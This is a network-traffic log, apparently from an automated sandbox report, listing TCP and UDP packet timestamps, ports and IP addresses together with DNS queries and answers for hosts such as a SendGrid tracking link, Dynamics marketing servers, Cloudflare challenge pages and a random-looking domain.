Apr 23, 2024 21:54:14.571240902 CEST	443	49771	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:14.571360111 CEST	49771	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:14.571372986 CEST	443	49771	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:14.622659922 CEST	49771	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:14.656807899 CEST	443	49771	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:14.656949997 CEST	443	49771	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:14.657021999 CEST	49771	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:14.657036066 CEST	443	49771	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:14.657213926 CEST	443	49771	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:14.657296896 CEST	443	49771	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:14.657349110 CEST	49771	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:14.657361031 CEST	443	49771	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:14.657550097 CEST	49771	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:14.657634974 CEST	443	49771	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:14.657794952 CEST	443	49771	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:14.657854080 CEST	49771	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:14.657865047 CEST	443	49771	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:14.657982111 CEST	443	49771	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:14.658040047 CEST	49771	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:14.658051014 CEST	443	49771	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:14.658586979 CEST	443	49771	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:14.658653975 CEST	49771	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:14.658770084 CEST	49771	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:14.658798933 CEST	443	49771	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:19.106283903 CEST	49809	443	192.168.2.5	74.125.136.103
Apr 23, 2024 21:54:19.106374025 CEST	443	49809	74.125.136.103	192.168.2.5
Apr 23, 2024 21:54:19.106468916 CEST	49809	443	192.168.2.5	74.125.136.103
Apr 23, 2024 21:54:19.106738091 CEST	49809	443	192.168.2.5	74.125.136.103
Apr 23, 2024 21:54:19.106771946 CEST	443	49809	74.125.136.103	192.168.2.5
Apr 23, 2024 21:54:19.299499989 CEST	443	49710	167.89.123.16	192.168.2.5
Apr 23, 2024 21:54:19.299582005 CEST	443	49710	167.89.123.16	192.168.2.5
Apr 23, 2024 21:54:19.299693108 CEST	49710	443	192.168.2.5	167.89.123.16
Apr 23, 2024 21:54:19.327200890 CEST	443	49809	74.125.136.103	192.168.2.5
Apr 23, 2024 21:54:19.327689886 CEST	49809	443	192.168.2.5	74.125.136.103
Apr 23, 2024 21:54:19.327753067 CEST	443	49809	74.125.136.103	192.168.2.5
Apr 23, 2024 21:54:19.328912020 CEST	443	49809	74.125.136.103	192.168.2.5
Apr 23, 2024 21:54:19.329565048 CEST	49809	443	192.168.2.5	74.125.136.103
Apr 23, 2024 21:54:19.329768896 CEST	443	49809	74.125.136.103	192.168.2.5
Apr 23, 2024 21:54:19.384957075 CEST	49809	443	192.168.2.5	74.125.136.103
Apr 23, 2024 21:54:19.497258902 CEST	49710	443	192.168.2.5	167.89.123.16
Apr 23, 2024 21:54:19.497313976 CEST	443	49710	167.89.123.16	192.168.2.5
Apr 23, 2024 21:54:19.497709036 CEST	49810	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:19.497760057 CEST	443	49810	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:19.497992992 CEST	49810	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:19.499591112 CEST	49810	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:19.499612093 CEST	443	49810	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:19.721986055 CEST	443	49810	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:19.722407103 CEST	49810	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:19.722448111 CEST	443	49810	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:19.722795010 CEST	443	49810	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:19.724905968 CEST	49810	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:19.724988937 CEST	443	49810	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:19.775193930 CEST	49810	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:20.255971909 CEST	443	49765	104.17.2.184	192.168.2.5
Apr 23, 2024 21:54:20.256042957 CEST	443	49765	104.17.2.184	192.168.2.5
Apr 23, 2024 21:54:20.256194115 CEST	49765	443	192.168.2.5	104.17.2.184
Apr 23, 2024 21:54:21.004573107 CEST	49765	443	192.168.2.5	104.17.2.184
Apr 23, 2024 21:54:21.004620075 CEST	443	49765	104.17.2.184	192.168.2.5
Apr 23, 2024 21:54:21.277498007 CEST	49811	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:21.277584076 CEST	443	49811	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:21.277672052 CEST	49811	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:21.277934074 CEST	49811	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:21.277966022 CEST	443	49811	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:21.506547928 CEST	443	49811	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:21.506861925 CEST	49811	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:21.506908894 CEST	443	49811	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:21.507538080 CEST	443	49811	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:21.507922888 CEST	49811	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:21.508028984 CEST	443	49811	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:21.508228064 CEST	49811	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:21.556123972 CEST	443	49811	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:22.065917969 CEST	443	49811	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:22.066169977 CEST	49811	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:22.066200972 CEST	443	49811	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:22.066232920 CEST	443	49811	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:22.066293001 CEST	49811	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:22.066335917 CEST	49811	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:29.327912092 CEST	443	49809	74.125.136.103	192.168.2.5
Apr 23, 2024 21:54:29.327999115 CEST	443	49809	74.125.136.103	192.168.2.5
Apr 23, 2024 21:54:29.328111887 CEST	49809	443	192.168.2.5	74.125.136.103
Apr 23, 2024 21:54:31.136893034 CEST	49809	443	192.168.2.5	74.125.136.103
Apr 23, 2024 21:54:31.136929035 CEST	443	49809	74.125.136.103	192.168.2.5
Apr 23, 2024 21:54:31.496330976 CEST	49812	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:31.496368885 CEST	443	49812	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:31.496504068 CEST	49812	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:31.497574091 CEST	49812	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:31.497587919 CEST	443	49812	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:31.724199057 CEST	443	49812	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:31.727405071 CEST	49812	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:31.727416992 CEST	443	49812	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:31.727998018 CEST	443	49812	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:31.728410006 CEST	49812	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:31.728493929 CEST	443	49812	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:31.775393009 CEST	49812	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:31.848853111 CEST	49812	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:31.892163038 CEST	443	49812	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:32.266228914 CEST	443	49812	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:32.266386032 CEST	443	49812	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:32.266453028 CEST	49812	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:32.266577959 CEST	49812	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:32.266594887 CEST	443	49812	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:32.266603947 CEST	49812	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:32.266649961 CEST	49812	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:34.711430073 CEST	443	49810	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:34.711522102 CEST	443	49810	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:34.711683035 CEST	49810	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:35.138839960 CEST	49810	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:35.138874054 CEST	443	49810	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:42.307073116 CEST	49815	443	192.168.2.5	35.190.80.1
Apr 23, 2024 21:54:42.307148933 CEST	443	49815	35.190.80.1	192.168.2.5
Apr 23, 2024 21:54:42.307235003 CEST	49815	443	192.168.2.5	35.190.80.1
Apr 23, 2024 21:54:42.308048010 CEST	49815	443	192.168.2.5	35.190.80.1
Apr 23, 2024 21:54:42.308083057 CEST	443	49815	35.190.80.1	192.168.2.5
Apr 23, 2024 21:54:42.531435966 CEST	443	49815	35.190.80.1	192.168.2.5
Apr 23, 2024 21:54:42.535890102 CEST	49815	443	192.168.2.5	35.190.80.1
Apr 23, 2024 21:54:42.535953045 CEST	443	49815	35.190.80.1	192.168.2.5
Apr 23, 2024 21:54:42.539752960 CEST	443	49815	35.190.80.1	192.168.2.5
Apr 23, 2024 21:54:42.539860010 CEST	49815	443	192.168.2.5	35.190.80.1
Apr 23, 2024 21:54:42.555474997 CEST	49815	443	192.168.2.5	35.190.80.1
Apr 23, 2024 21:54:42.555664062 CEST	443	49815	35.190.80.1	192.168.2.5
Apr 23, 2024 21:54:42.556296110 CEST	49815	443	192.168.2.5	35.190.80.1
Apr 23, 2024 21:54:42.556324959 CEST	443	49815	35.190.80.1	192.168.2.5
Apr 23, 2024 21:54:42.603439093 CEST	49815	443	192.168.2.5	35.190.80.1
Apr 23, 2024 21:54:42.768465996 CEST	443	49815	35.190.80.1	192.168.2.5
Apr 23, 2024 21:54:42.768647909 CEST	443	49815	35.190.80.1	192.168.2.5
Apr 23, 2024 21:54:42.768932104 CEST	49815	443	192.168.2.5	35.190.80.1
Apr 23, 2024 21:54:42.769093037 CEST	49815	443	192.168.2.5	35.190.80.1
Apr 23, 2024 21:54:42.769112110 CEST	443	49815	35.190.80.1	192.168.2.5
Apr 23, 2024 21:54:42.770529985 CEST	49816	443	192.168.2.5	35.190.80.1
Apr 23, 2024 21:54:42.770622969 CEST	443	49816	35.190.80.1	192.168.2.5
Apr 23, 2024 21:54:42.770733118 CEST	49816	443	192.168.2.5	35.190.80.1
Apr 23, 2024 21:54:42.771325111 CEST	49816	443	192.168.2.5	35.190.80.1
Apr 23, 2024 21:54:42.771361113 CEST	443	49816	35.190.80.1	192.168.2.5
Apr 23, 2024 21:54:42.992319107 CEST	443	49816	35.190.80.1	192.168.2.5
Apr 23, 2024 21:54:42.992861032 CEST	49816	443	192.168.2.5	35.190.80.1
Apr 23, 2024 21:54:42.992942095 CEST	443	49816	35.190.80.1	192.168.2.5
Apr 23, 2024 21:54:42.994153023 CEST	443	49816	35.190.80.1	192.168.2.5
Apr 23, 2024 21:54:42.995084047 CEST	49816	443	192.168.2.5	35.190.80.1
Apr 23, 2024 21:54:42.995181084 CEST	443	49816	35.190.80.1	192.168.2.5
Apr 23, 2024 21:54:42.996066093 CEST	49816	443	192.168.2.5	35.190.80.1
Apr 23, 2024 21:54:43.040122986 CEST	443	49816	35.190.80.1	192.168.2.5
Apr 23, 2024 21:54:43.228127956 CEST	443	49816	35.190.80.1	192.168.2.5
Apr 23, 2024 21:54:43.228351116 CEST	443	49816	35.190.80.1	192.168.2.5
Apr 23, 2024 21:54:43.228437901 CEST	49816	443	192.168.2.5	35.190.80.1
Apr 23, 2024 21:54:43.228523016 CEST	49816	443	192.168.2.5	35.190.80.1
Apr 23, 2024 21:54:43.228523016 CEST	49816	443	192.168.2.5	35.190.80.1
Apr 23, 2024 21:54:43.228565931 CEST	443	49816	35.190.80.1	192.168.2.5
Apr 23, 2024 21:54:43.228636026 CEST	49816	443	192.168.2.5	35.190.80.1
Apr 23, 2024 21:54:50.275285006 CEST	49764	443	192.168.2.5	151.101.194.137
Apr 23, 2024 21:54:50.275307894 CEST	443	49764	151.101.194.137	192.168.2.5
Apr 23, 2024 21:54:52.293961048 CEST	49818	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:52.294007063 CEST	443	49818	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:52.294092894 CEST	49818	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:52.294712067 CEST	49818	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:52.294723034 CEST	443	49818	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:52.513178110 CEST	443	49818	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:52.513783932 CEST	49818	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:52.513818026 CEST	443	49818	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:52.514291048 CEST	443	49818	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:52.514910936 CEST	49818	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:52.514991999 CEST	443	49818	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:52.516190052 CEST	49818	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:52.560157061 CEST	443	49818	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:53.076189041 CEST	443	49818	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:53.076510906 CEST	443	49818	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:53.077615023 CEST	49818	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:53.085299969 CEST	49818	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:53.085326910 CEST	443	49818	172.67.143.205	192.168.2.5
Apr 23, 2024 21:55:07.137048006 CEST	49764	443	192.168.2.5	151.101.194.137
Apr 23, 2024 21:55:07.137227058 CEST	443	49764	151.101.194.137	192.168.2.5
Apr 23, 2024 21:55:07.137491941 CEST	49764	443	192.168.2.5	151.101.194.137
Apr 23, 2024 21:55:13.370179892 CEST	49819	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:55:13.370214939 CEST	443	49819	172.67.143.205	192.168.2.5
Apr 23, 2024 21:55:13.370441914 CEST	49819	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:55:13.370769978 CEST	49819	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:55:13.370779037 CEST	443	49819	172.67.143.205	192.168.2.5
Apr 23, 2024 21:55:13.598647118 CEST	443	49819	172.67.143.205	192.168.2.5
Apr 23, 2024 21:55:13.598947048 CEST	49819	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:55:13.598961115 CEST	443	49819	172.67.143.205	192.168.2.5
Apr 23, 2024 21:55:13.599284887 CEST	443	49819	172.67.143.205	192.168.2.5
Apr 23, 2024 21:55:13.599704981 CEST	49819	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:55:13.599770069 CEST	443	49819	172.67.143.205	192.168.2.5
Apr 23, 2024 21:55:13.599924088 CEST	49819	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:55:13.640126944 CEST	443	49819	172.67.143.205	192.168.2.5
Apr 23, 2024 21:55:14.185069084 CEST	443	49819	172.67.143.205	192.168.2.5
Apr 23, 2024 21:55:14.185173988 CEST	443	49819	172.67.143.205	192.168.2.5
Apr 23, 2024 21:55:14.185281038 CEST	49819	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:55:14.185303926 CEST	443	49819	172.67.143.205	192.168.2.5
Apr 23, 2024 21:55:14.185316086 CEST	49819	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:55:14.185348034 CEST	49819	443	192.168.2.5	172.67.143.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 23, 2024 21:53:17.033165932 CEST	53	57140	1.1.1.1	192.168.2.5
Apr 23, 2024 21:53:17.068479061 CEST	53	55890	1.1.1.1	192.168.2.5
Apr 23, 2024 21:53:17.669147968 CEST	53	61989	1.1.1.1	192.168.2.5
Apr 23, 2024 21:53:18.939148903 CEST	56881	53	192.168.2.5	1.1.1.1
Apr 23, 2024 21:53:18.939517021 CEST	52604	53	192.168.2.5	1.1.1.1
Apr 23, 2024 21:53:19.038753033 CEST	54225	53	192.168.2.5	1.1.1.1
Apr 23, 2024 21:53:19.039021969 CEST	54155	53	192.168.2.5	1.1.1.1
Apr 23, 2024 21:53:19.048017025 CEST	53	56881	1.1.1.1	192.168.2.5
Apr 23, 2024 21:53:19.049659014 CEST	53	52604	1.1.1.1	192.168.2.5
Apr 23, 2024 21:53:19.143779039 CEST	53	54225	1.1.1.1	192.168.2.5
Apr 23, 2024 21:53:19.144757986 CEST	53	54155	1.1.1.1	192.168.2.5
Apr 23, 2024 21:53:19.731796026 CEST	62413	53	192.168.2.5	1.1.1.1
Apr 23, 2024 21:53:19.731949091 CEST	52890	53	192.168.2.5	1.1.1.1
Apr 23, 2024 21:53:22.904663086 CEST	55777	53	192.168.2.5	1.1.1.1
Apr 23, 2024 21:53:22.905378103 CEST	61289	53	192.168.2.5	1.1.1.1
Apr 23, 2024 21:53:23.420756102 CEST	59158	53	192.168.2.5	1.1.1.1
Apr 23, 2024 21:53:23.421351910 CEST	63819	53	192.168.2.5	1.1.1.1
Apr 23, 2024 21:53:24.372179031 CEST	60397	53	192.168.2.5	1.1.1.1
Apr 23, 2024 21:53:24.372668982 CEST	56452	53	192.168.2.5	1.1.1.1
Apr 23, 2024 21:53:34.804286957 CEST	53	50517	1.1.1.1	192.168.2.5
Apr 23, 2024 21:53:38.367896080 CEST	64310	53	192.168.2.5	1.1.1.1
Apr 23, 2024 21:53:38.368124008 CEST	52572	53	192.168.2.5	1.1.1.1
Apr 23, 2024 21:53:38.506361008 CEST	53	64310	1.1.1.1	192.168.2.5
Apr 23, 2024 21:53:38.508019924 CEST	53	52572	1.1.1.1	192.168.2.5
Apr 23, 2024 21:53:39.343636990 CEST	50316	53	192.168.2.5	1.1.1.1
Apr 23, 2024 21:53:39.344115019 CEST	64742	53	192.168.2.5	1.1.1.1
Apr 23, 2024 21:53:39.344638109 CEST	58594	53	192.168.2.5	1.1.1.1
Apr 23, 2024 21:53:39.344818115 CEST	53597	53	192.168.2.5	1.1.1.1
Apr 23, 2024 21:53:39.449301958 CEST	53	50316	1.1.1.1	192.168.2.5
Apr 23, 2024 21:53:39.449331999 CEST	53	64742	1.1.1.1	192.168.2.5
Apr 23, 2024 21:53:39.449529886 CEST	53	53597	1.1.1.1	192.168.2.5
Apr 23, 2024 21:53:39.450629950 CEST	53	58594	1.1.1.1	192.168.2.5
Apr 23, 2024 21:53:40.468527079 CEST	64292	53	192.168.2.5	1.1.1.1
Apr 23, 2024 21:53:40.468693018 CEST	55551	53	192.168.2.5	1.1.1.1
Apr 23, 2024 21:53:40.573396921 CEST	53	64292	1.1.1.1	192.168.2.5
Apr 23, 2024 21:53:40.573555946 CEST	53	55551	1.1.1.1	192.168.2.5
Apr 23, 2024 21:53:41.681535959 CEST	57787	53	192.168.2.5	1.1.1.1
Apr 23, 2024 21:53:41.681835890 CEST	64713	53	192.168.2.5	1.1.1.1
Apr 23, 2024 21:53:41.786791086 CEST	53	57787	1.1.1.1	192.168.2.5
Apr 23, 2024 21:53:41.786912918 CEST	53	64713	1.1.1.1	192.168.2.5
Apr 23, 2024 21:53:42.196559906 CEST	61301	53	192.168.2.5	1.1.1.1
Apr 23, 2024 21:53:42.196759939 CEST	62312	53	192.168.2.5	1.1.1.1
Apr 23, 2024 21:53:42.301577091 CEST	53	61301	1.1.1.1	192.168.2.5
Apr 23, 2024 21:53:42.301693916 CEST	53	62312	1.1.1.1	192.168.2.5
Apr 23, 2024 21:53:53.554193020 CEST	53	59361	1.1.1.1	192.168.2.5
Apr 23, 2024 21:54:05.046230078 CEST	57504	53	192.168.2.5	1.1.1.1
Apr 23, 2024 21:54:05.046380997 CEST	56457	53	192.168.2.5	1.1.1.1
Apr 23, 2024 21:54:05.176798105 CEST	53	56457	1.1.1.1	192.168.2.5
Apr 23, 2024 21:54:05.192914009 CEST	53	57504	1.1.1.1	192.168.2.5
Apr 23, 2024 21:54:06.755060911 CEST	63543	53	192.168.2.5	1.1.1.1
Apr 23, 2024 21:54:06.755199909 CEST	53819	53	192.168.2.5	1.1.1.1
Apr 23, 2024 21:54:06.755682945 CEST	64794	53	192.168.2.5	1.1.1.1
Apr 23, 2024 21:54:06.755935907 CEST	51140	53	192.168.2.5	1.1.1.1
Apr 23, 2024 21:54:06.861692905 CEST	53	64794	1.1.1.1	192.168.2.5
Apr 23, 2024 21:54:06.861932993 CEST	53	51140	1.1.1.1	192.168.2.5
Apr 23, 2024 21:54:06.862220049 CEST	53	63543	1.1.1.1	192.168.2.5
Apr 23, 2024 21:54:06.862370968 CEST	53	53819	1.1.1.1	192.168.2.5
Apr 23, 2024 21:54:07.675745010 CEST	53	64882	1.1.1.1	192.168.2.5
Apr 23, 2024 21:54:08.886423111 CEST	53	53188	1.1.1.1	192.168.2.5
Apr 23, 2024 21:54:16.533185005 CEST	53	63947	1.1.1.1	192.168.2.5
Apr 23, 2024 21:54:16.665385962 CEST	53	62943	1.1.1.1	192.168.2.5
Apr 23, 2024 21:54:42.199594021 CEST	65043	53	192.168.2.5	1.1.1.1
Apr 23, 2024 21:54:42.199749947 CEST	64025	53	192.168.2.5	1.1.1.1
Apr 23, 2024 21:54:42.305023909 CEST	53	64025	1.1.1.1	192.168.2.5
Apr 23, 2024 21:54:42.305890083 CEST	53	65043	1.1.1.1	192.168.2.5
Apr 23, 2024 21:54:44.300225973 CEST	53	61174	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Apr 23, 2024 21:53:18.939148903 CEST	192.168.2.5	1.1.1.1	0xf5ce	Standard query (0)	u44056869.ct.sendgrid.net	A (IP address)	IN (0x0001)	false
Apr 23, 2024 21:53:18.939517021 CEST	192.168.2.5	1.1.1.1	0x5502	Standard query (0)	u44056869.ct.sendgrid.net	65	IN (0x0001)	false
Apr 23, 2024 21:53:19.038753033 CEST	192.168.2.5	1.1.1.1	0xcaa3	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Apr 23, 2024 21:53:19.039021969 CEST	192.168.2.5	1.1.1.1	0x51f	Standard query (0)	www.google.com	65	IN (0x0001)	false
Apr 23, 2024 21:53:19.731796026 CEST	192.168.2.5	1.1.1.1	0xe82c	Standard query (0)	assets-usa.mkt.dynamics.com	A (IP address)	IN (0x0001)	false
Apr 23, 2024 21:53:19.731949091 CEST	192.168.2.5	1.1.1.1	0x20f8	Standard query (0)	assets-usa.mkt.dynamics.com	65	IN (0x0001)	false
Apr 23, 2024 21:53:22.904663086 CEST	192.168.2.5	1.1.1.1	0x6296	Standard query (0)	public-usa.mkt.dynamics.com	A (IP address)	IN (0x0001)	false
Apr 23, 2024 21:53:22.905378103 CEST	192.168.2.5	1.1.1.1	0xa191	Standard query (0)	public-usa.mkt.dynamics.com	65	IN (0x0001)	false
Apr 23, 2024 21:53:23.420756102 CEST	192.168.2.5	1.1.1.1	0x8984	Standard query (0)	assets-usa.mkt.dynamics.com	A (IP address)	IN (0x0001)	false
Apr 23, 2024 21:53:23.421351910 CEST	192.168.2.5	1.1.1.1	0x6c96	Standard query (0)	assets-usa.mkt.dynamics.com	65	IN (0x0001)	false
Apr 23, 2024 21:53:24.372179031 CEST	192.168.2.5	1.1.1.1	0x76cd	Standard query (0)	public-usa.mkt.dynamics.com	A (IP address)	IN (0x0001)	false
Apr 23, 2024 21:53:24.372668982 CEST	192.168.2.5	1.1.1.1	0x6f6f	Standard query (0)	public-usa.mkt.dynamics.com	65	IN (0x0001)	false
Apr 23, 2024 21:53:38.367896080 CEST	192.168.2.5	1.1.1.1	0x894c	Standard query (0)	o5u7g.zleu9.com	A (IP address)	IN (0x0001)	false
Apr 23, 2024 21:53:38.368124008 CEST	192.168.2.5	1.1.1.1	0x12e7	Standard query (0)	o5u7g.zleu9.com	65	IN (0x0001)	false
Apr 23, 2024 21:53:39.343636990 CEST	192.168.2.5	1.1.1.1	0xa8a0	Standard query (0)	code.jquery.com	A (IP address)	IN (0x0001)	false
Apr 23, 2024 21:53:39.344115019 CEST	192.168.2.5	1.1.1.1	0xd1cf	Standard query (0)	code.jquery.com	65	IN (0x0001)	false
Apr 23, 2024 21:53:39.344638109 CEST	192.168.2.5	1.1.1.1	0x965c	Standard query (0)	challenges.cloudflare.com	A (IP address)	IN (0x0001)	false
Apr 23, 2024 21:53:39.344818115 CEST	192.168.2.5	1.1.1.1	0x5571	Standard query (0)	challenges.cloudflare.com	65	IN (0x0001)	false
Apr 23, 2024 21:53:40.468527079 CEST	192.168.2.5	1.1.1.1	0xb47	Standard query (0)	challenges.cloudflare.com	A (IP address)	IN (0x0001)	false
Apr 23, 2024 21:53:40.468693018 CEST	192.168.2.5	1.1.1.1	0x7945	Standard query (0)	challenges.cloudflare.com	65	IN (0x0001)	false
Apr 23, 2024 21:53:41.681535959 CEST	192.168.2.5	1.1.1.1	0xe3b0	Standard query (0)	challenges.cloudflare.com	A (IP address)	IN (0x0001)	false
Apr 23, 2024 21:53:41.681835890 CEST	192.168.2.5	1.1.1.1	0xb7e7	Standard query (0)	challenges.cloudflare.com	65	IN (0x0001)	false
Apr 23, 2024 21:53:42.196559906 CEST	192.168.2.5	1.1.1.1	0x301d	Standard query (0)	a.nel.cloudflare.com	A (IP address)	IN (0x0001)	false
Apr 23, 2024 21:53:42.196759939 CEST	192.168.2.5	1.1.1.1	0xdd0a	Standard query (0)	a.nel.cloudflare.com	65	IN (0x0001)	false
Apr 23, 2024 21:54:05.046230078 CEST	192.168.2.5	1.1.1.1	0x59cc	Standard query (0)	o5u7g.zleu9.com	A (IP address)	IN (0x0001)	false
Apr 23, 2024 21:54:05.046380997 CEST	192.168.2.5	1.1.1.1	0xb3e9	Standard query (0)	o5u7g.zleu9.com	65	IN (0x0001)	false
Apr 23, 2024 21:54:06.755060911 CEST	192.168.2.5	1.1.1.1	0x6e12	Standard query (0)	cdn.socket.io	A (IP address)	IN (0x0001)	false
Apr 23, 2024 21:54:06.755199909 CEST	192.168.2.5	1.1.1.1	0x8886	Standard query (0)	cdn.socket.io	65	IN (0x0001)	false
Apr 23, 2024 21:54:06.755682945 CEST	192.168.2.5	1.1.1.1	0x1bb6	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Apr 23, 2024 21:54:06.755935907 CEST	192.168.2.5	1.1.1.1	0x780a	Standard query (0)	www.google.com	65	IN (0x0001)	false
Apr 23, 2024 21:54:42.199594021 CEST	192.168.2.5	1.1.1.1	0x2f9b	Standard query (0)	a.nel.cloudflare.com	A (IP address)	IN (0x0001)	false
Apr 23, 2024 21:54:42.199749947 CEST	192.168.2.5	1.1.1.1	0x3f99	Standard query (0)	a.nel.cloudflare.com	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Apr 23, 2024 21:53:19.048017025 CEST	1.1.1.1	192.168.2.5	0xf5ce	No error (0)	u44056869.ct.sendgrid.net		167.89.123.16	A (IP address)	IN (0x0001)	false
Apr 23, 2024 21:53:19.048017025 CEST	1.1.1.1	192.168.2.5	0xf5ce	No error (0)	u44056869.ct.sendgrid.net		167.89.115.54	A (IP address)	IN (0x0001)	false
Apr 23, 2024 21:53:19.048017025 CEST	1.1.1.1	192.168.2.5	0xf5ce	No error (0)	u44056869.ct.sendgrid.net		167.89.115.121	A (IP address)	IN (0x0001)	false
Apr 23, 2024 21:53:19.048017025 CEST	1.1.1.1	192.168.2.5	0xf5ce	No error (0)	u44056869.ct.sendgrid.net		167.89.115.147	A (IP address)	IN (0x0001)	false
Apr 23, 2024 21:53:19.048017025 CEST	1.1.1.1	192.168.2.5	0xf5ce	No error (0)	u44056869.ct.sendgrid.net		167.89.123.147	A (IP address)	IN (0x0001)	false
Apr 23, 2024 21:53:19.048017025 CEST	1.1.1.1	192.168.2.5	0xf5ce	No error (0)	u44056869.ct.sendgrid.net		167.89.123.122	A (IP address)	IN (0x0001)	false
Apr 23, 2024 21:53:19.143779039 CEST	1.1.1.1	192.168.2.5	0xcaa3	No error (0)	www.google.com		74.125.136.103	A (IP address)	IN (0x0001)	false
